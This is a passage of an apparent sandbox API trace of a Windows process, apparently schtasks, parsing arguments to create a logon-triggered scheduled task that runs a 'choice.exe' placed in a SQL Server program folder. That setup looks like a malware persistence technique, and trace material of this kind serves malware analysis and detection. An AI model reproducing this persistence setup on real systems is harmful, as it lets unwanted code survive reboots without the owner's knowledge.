[0064.325] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|create|") returned 8 [0064.325] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|sc|") returned 4 [0064.325] lstrlenW (lpString="|create|") returned 8 [0064.325] lstrlenW (lpString="|sc|") returned 4 [0064.325] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0064.325] SetLastError (dwErrCode=0x490) [0064.325] lstrlenW (lpString="?") returned 1 [0064.325] lstrlenW (lpString="?") returned 1 [0064.325] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.325] lstrlenW (lpString="sc") returned 2 [0064.325] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.325] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|?|") returned 3 [0064.325] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|sc|") returned 4 [0064.325] lstrlenW (lpString="|?|") returned 3 [0064.326] lstrlenW (lpString="|sc|") returned 4 [0064.326] SetLastError (dwErrCode=0x490) [0064.326] lstrlenW (lpString="s") returned 1 [0064.326] lstrlenW (lpString="s") returned 1 [0064.326] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.326] lstrlenW (lpString="sc") returned 2 [0064.326] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.326] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|s|") returned 3 [0064.326] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|sc|") returned 4 [0064.326] lstrlenW (lpString="|s|") returned 3 [0064.326] lstrlenW (lpString="|sc|") returned 4 [0064.326] SetLastError (dwErrCode=0x490) [0064.326] lstrlenW (lpString="u") returned 1 [0064.326] lstrlenW (lpString="u") returned 1 [0064.326] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.326] lstrlenW (lpString="sc") returned 2 [0064.326] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.326] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|u|") returned 3 [0064.326] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|sc|") returned 4 [0064.326] lstrlenW (lpString="|u|") returned 3 [0064.326] lstrlenW (lpString="|sc|") returned 4 [0064.326] SetLastError (dwErrCode=0x490) [0064.326] lstrlenW (lpString="p") returned 1 [0064.326] lstrlenW (lpString="p") returned 1 [0064.326] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.326] lstrlenW (lpString="sc") returned 2 [0064.326] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.326] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|p|") returned 3 [0064.326] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|sc|") returned 4 [0064.328] lstrlenW (lpString="|p|") returned 3 [0064.328] lstrlenW (lpString="|sc|") returned 4 [0064.328] SetLastError (dwErrCode=0x490) [0064.328] lstrlenW (lpString="ru") returned 2 [0064.328] lstrlenW (lpString="ru") returned 2 [0064.328] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.328] lstrlenW (lpString="sc") returned 2 [0064.328] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.328] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|ru|") returned 4 [0064.328] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|sc|") returned 4 [0064.328] lstrlenW (lpString="|ru|") returned 4 [0064.328] lstrlenW (lpString="|sc|") returned 4 [0064.328] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0064.328] SetLastError (dwErrCode=0x490) [0064.328] lstrlenW (lpString="rp") returned 2 [0064.328] lstrlenW (lpString="rp") returned 2 [0064.328] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.328] lstrlenW (lpString="sc") returned 2 [0064.328] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.328] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rp|") returned 4 [0064.328] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|sc|") returned 4 [0064.328] lstrlenW (lpString="|rp|") returned 4 [0064.328] lstrlenW (lpString="|sc|") returned 4 [0064.328] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0064.328] SetLastError (dwErrCode=0x490) [0064.328] lstrlenW (lpString="sc") returned 2 [0064.328] lstrlenW (lpString="sc") returned 2 [0064.328] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.328] lstrlenW (lpString="sc") returned 2 [0064.328] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.329] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|sc|") returned 4 [0064.329] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|sc|") returned 4 [0064.329] lstrlenW (lpString="|sc|") returned 4 [0064.329] lstrlenW (lpString="|sc|") returned 4 [0064.329] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0064.329] SetLastError (dwErrCode=0x0) [0064.329] SetLastError (dwErrCode=0x0) [0064.329] lstrlenW (lpString="ONLOGON") returned 7 [0064.329] lstrlenW (lpString="-/") returned 2 [0064.329] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0064.329] SetLastError (dwErrCode=0x490) [0064.329] SetLastError (dwErrCode=0x490) [0064.329] SetLastError (dwErrCode=0x0) [0064.329] lstrlenW (lpString="ONLOGON") returned 7 [0064.329] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0064.329] SetLastError (dwErrCode=0x490) [0064.329] SetLastError (dwErrCode=0x0) [0064.329] GetProcessHeap () returned 0x220000 [0064.329] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23d6e0 [0064.329] _memicmp (_Buf1=0x23d6e0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.329] lstrlenW (lpString="ONLOGON") returned 7 [0064.329] GetProcessHeap () returned 0x220000 [0064.329] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x23d700 [0064.329] lstrlenW (lpString="ONLOGON") returned 7 [0064.329] lstrlenW (lpString=" \x09") returned 2 [0064.329] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0064.329] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0064.329] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0064.329] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0064.329] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0064.329] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0064.329] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0064.329] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0064.329] GetLastError () returned 0x0 [0064.329] lstrlenW (lpString="ONLOGON") returned 7 [0064.329] lstrlenW (lpString="ONLOGON") returned 7 [0064.329] SetLastError (dwErrCode=0x0) [0064.330] SetLastError (dwErrCode=0x0) [0064.330] lstrlenW (lpString="/tr") returned 3 [0064.330] lstrlenW (lpString="-/") returned 2 [0064.330] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.330] lstrlenW (lpString="create") returned 6 [0064.330] lstrlenW (lpString="create") returned 6 [0064.330] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.330] lstrlenW (lpString="tr") returned 2 [0064.330] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.330] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|create|") returned 8 [0064.330] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tr|") returned 4 [0064.330] lstrlenW (lpString="|create|") returned 8 [0064.330] lstrlenW (lpString="|tr|") returned 4 [0064.330] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0064.330] SetLastError (dwErrCode=0x490) [0064.330] lstrlenW (lpString="?") returned 1 [0064.330] lstrlenW (lpString="?") returned 1 [0064.330] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.330] lstrlenW (lpString="tr") returned 2 [0064.330] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.330] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|?|") returned 3 [0064.330] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tr|") returned 4 [0064.330] lstrlenW (lpString="|?|") returned 3 [0064.330] lstrlenW (lpString="|tr|") returned 4 [0064.330] SetLastError (dwErrCode=0x490) [0064.330] lstrlenW (lpString="s") returned 1 [0064.330] lstrlenW (lpString="s") returned 1 [0064.330] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.330] lstrlenW (lpString="tr") returned 2 [0064.330] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.330] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|s|") returned 3 [0064.330] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tr|") returned 4 [0064.331] lstrlenW (lpString="|s|") returned 3 [0064.331] lstrlenW (lpString="|tr|") returned 4 [0064.331] SetLastError (dwErrCode=0x490) [0064.331] lstrlenW (lpString="u") returned 1 [0064.331] lstrlenW (lpString="u") returned 1 [0064.331] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.331] lstrlenW (lpString="tr") returned 2 [0064.331] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.331] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|u|") returned 3 [0064.331] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tr|") returned 4 [0064.331] lstrlenW (lpString="|u|") returned 3 [0064.331] lstrlenW (lpString="|tr|") returned 4 [0064.331] SetLastError (dwErrCode=0x490) [0064.331] lstrlenW (lpString="p") returned 1 [0064.331] lstrlenW (lpString="p") returned 1 [0064.331] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.331] lstrlenW (lpString="tr") returned 2 [0064.331] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.331] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|p|") returned 3 [0064.331] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tr|") returned 4 [0064.331] lstrlenW (lpString="|p|") returned 3 [0064.331] lstrlenW (lpString="|tr|") returned 4 [0064.331] SetLastError (dwErrCode=0x490) [0064.331] lstrlenW (lpString="ru") returned 2 [0064.331] lstrlenW (lpString="ru") returned 2 [0064.331] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.331] lstrlenW (lpString="tr") returned 2 [0064.331] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.331] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|ru|") returned 4 [0064.331] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tr|") returned 4 [0064.331] lstrlenW (lpString="|ru|") returned 4 [0064.331] lstrlenW (lpString="|tr|") returned 4 [0064.331] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0064.332] SetLastError (dwErrCode=0x490) [0064.332] lstrlenW (lpString="rp") returned 2 [0064.332] lstrlenW (lpString="rp") returned 2 [0064.332] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.332] lstrlenW (lpString="tr") returned 2 [0064.332] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.332] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rp|") returned 4 [0064.332] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tr|") returned 4 [0064.332] lstrlenW (lpString="|rp|") returned 4 [0064.332] lstrlenW (lpString="|tr|") returned 4 [0064.332] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0064.332] SetLastError (dwErrCode=0x490) [0064.332] lstrlenW (lpString="sc") returned 2 [0064.332] lstrlenW (lpString="sc") returned 2 [0064.332] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.332] lstrlenW (lpString="tr") returned 2 [0064.332] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.332] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|sc|") returned 4 [0064.332] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tr|") returned 4 [0064.332] lstrlenW (lpString="|sc|") returned 4 [0064.332] lstrlenW (lpString="|tr|") returned 4 [0064.332] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0064.332] SetLastError (dwErrCode=0x490) [0064.332] lstrlenW (lpString="mo") returned 2 [0064.332] lstrlenW (lpString="mo") returned 2 [0064.332] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.332] lstrlenW (lpString="tr") returned 2 [0064.332] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.332] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|mo|") returned 4 [0064.332] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tr|") returned 4 [0064.332] lstrlenW (lpString="|mo|") returned 4 [0064.333] lstrlenW (lpString="|tr|") returned 4 [0064.333] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0064.333] SetLastError (dwErrCode=0x490) [0064.333] lstrlenW (lpString="d") returned 1 [0064.333] lstrlenW (lpString="d") returned 1 [0064.333] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.333] lstrlenW (lpString="tr") returned 2 [0064.333] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.333] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|d|") returned 3 [0064.333] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tr|") returned 4 [0064.333] lstrlenW (lpString="|d|") returned 3 [0064.333] lstrlenW (lpString="|tr|") returned 4 [0064.333] SetLastError (dwErrCode=0x490) [0064.333] lstrlenW (lpString="m") returned 1 [0064.333] lstrlenW (lpString="m") returned 1 [0064.333] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.333] lstrlenW (lpString="tr") returned 2 [0064.333] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.333] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|m|") returned 3 [0064.333] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tr|") returned 4 [0064.333] lstrlenW (lpString="|m|") returned 3 [0064.333] lstrlenW (lpString="|tr|") returned 4 [0064.333] SetLastError (dwErrCode=0x490) [0064.333] lstrlenW (lpString="i") returned 1 [0064.333] lstrlenW (lpString="i") returned 1 [0064.333] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.333] lstrlenW (lpString="tr") returned 2 [0064.333] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.333] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|i|") returned 3 [0064.333] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tr|") returned 4 [0064.333] lstrlenW (lpString="|i|") returned 3 [0064.333] lstrlenW (lpString="|tr|") returned 4 [0064.333] SetLastError (dwErrCode=0x490) [0064.334] lstrlenW (lpString="tn") returned 2 [0064.334] lstrlenW (lpString="tn") returned 2 [0064.334] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.334] lstrlenW (lpString="tr") returned 2 [0064.334] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.334] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tn|") returned 4 [0064.334] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tr|") returned 4 [0064.334] lstrlenW (lpString="|tn|") returned 4 [0064.334] lstrlenW (lpString="|tr|") returned 4 [0064.334] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0064.334] SetLastError (dwErrCode=0x490) [0064.334] lstrlenW (lpString="tr") returned 2 [0064.334] lstrlenW (lpString="tr") returned 2 [0064.334] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.334] lstrlenW (lpString="tr") returned 2 [0064.334] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.334] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tr|") returned 4 [0064.334] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|tr|") returned 4 [0064.334] lstrlenW (lpString="|tr|") returned 4 [0064.334] lstrlenW (lpString="|tr|") returned 4 [0064.334] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0064.334] SetLastError (dwErrCode=0x0) [0064.334] SetLastError (dwErrCode=0x0) [0064.334] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.334] lstrlenW (lpString="-/") returned 2 [0064.334] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0064.334] SetLastError (dwErrCode=0x490) [0064.334] SetLastError (dwErrCode=0x490) [0064.334] SetLastError (dwErrCode=0x0) [0064.334] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.334] StrChrIW (lpStart="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'" [0064.334] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.334] _memicmp (_Buf1=0x23c470, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.335] _memicmp (_Buf1=0x23d680, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.335] SetLastError (dwErrCode=0x7a) [0064.335] SetLastError (dwErrCode=0x0) [0064.335] SetLastError (dwErrCode=0x0) [0064.335] lstrlenW (lpString="'C") returned 2 [0064.335] lstrlenW (lpString="-/") returned 2 [0064.335] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0064.335] SetLastError (dwErrCode=0x490) [0064.335] SetLastError (dwErrCode=0x490) [0064.335] SetLastError (dwErrCode=0x0) [0064.335] _memicmp (_Buf1=0x23d6e0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.335] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.335] GetProcessHeap () returned 0x220000 [0064.335] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d700) returned 1 [0064.335] GetProcessHeap () returned 0x220000 [0064.335] RtlReAllocateHeap (Heap=0x220000, Flags=0xc, Ptr=0x23d700, Size=0x88) returned 0x23c4b0 [0064.335] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.335] lstrlenW (lpString=" \x09") returned 2 [0064.335] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0064.335] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0064.335] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0064.335] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0064.335] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0064.335] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0064.335] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0064.335] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0064.335] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0064.335] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0064.335] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0064.335] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0064.335] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0064.335] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0064.335] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0064.335] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0064.335] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0064.335] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0064.335] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0064.336] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0064.336] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x51) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0064.336] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0064.336] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0064.337] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0064.337] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0064.337] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0064.337] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0064.337] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0064.337] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0064.337] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0064.337] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0064.337] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0064.337] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0064.337] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0064.337] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0064.337] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0064.337] GetLastError () returned 0x0 [0064.337] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.337] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.337] SetLastError (dwErrCode=0x0) [0064.337] SetLastError (dwErrCode=0x0) [0064.337] lstrlenW (lpString="/rl") returned 3 [0064.337] lstrlenW (lpString="-/") returned 2 [0064.337] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.337] lstrlenW (lpString="create") returned 6 [0064.337] lstrlenW (lpString="create") returned 6 [0064.337] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.337] lstrlenW (lpString="rl") returned 2 [0064.337] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.337] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|create|") returned 8 [0064.337] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c888 | out: _Buffer="|rl|") returned 4 [0064.337] lstrlenW (lpString="|create|") returned 8 [0064.337] lstrlenW (lpString="|rl|") returned 4 [0064.337] StrStrIW (lpFirst="|create|", 